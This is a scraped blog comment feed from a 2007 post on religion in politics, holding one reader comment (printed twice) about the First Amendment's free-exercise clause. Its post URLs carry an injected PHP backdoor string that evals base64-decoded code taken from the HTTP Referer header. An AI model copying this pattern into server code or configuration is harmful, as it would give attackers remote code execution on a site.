http://nwbloggers.com/2007/02/21/is-religion-a-valid-issue-with-regard-to-politics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Wed, 08 Feb 2012 22:13:39 +0000 http://wordpress.org/?v=2.7 hourly 1 http://nwbloggers.com/2007/02/21/is-religion-a-valid-issue-with-regard-to-politics/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/comment-page-1/#comment-12192 MaxRedline Thu, 22 Feb 2007 03:39:55 +0000 http://nwbloggers.com/2007/02/21/is-religion-a-valid-issue-with-regard-to-politics/#comment-12192 <em>A lot of people pounce upon the first half of that statement and ignore the part that says “or prohibiting the free exercise thereof”</em> Too many miss this point today.  What it means is that the USA is not going to be a caliphate, nor a Talibanist state.  Government cannot dictate religious rules by which all citizens must abide.  At the same time, government is not to restrict the right of anybody to freely promote their religious views. A lot of people pounce upon the first half of that statement and ignore the part that says “or prohibiting the free exercise thereof”
Too many miss this point today.  What it means is that the USA is not going to be a caliphate, nor a Talibanist state.  Government cannot dictate religious rules by which all citizens must abide.  At the same time, government is not to restrict the right of anybody to freely promote their religious views.

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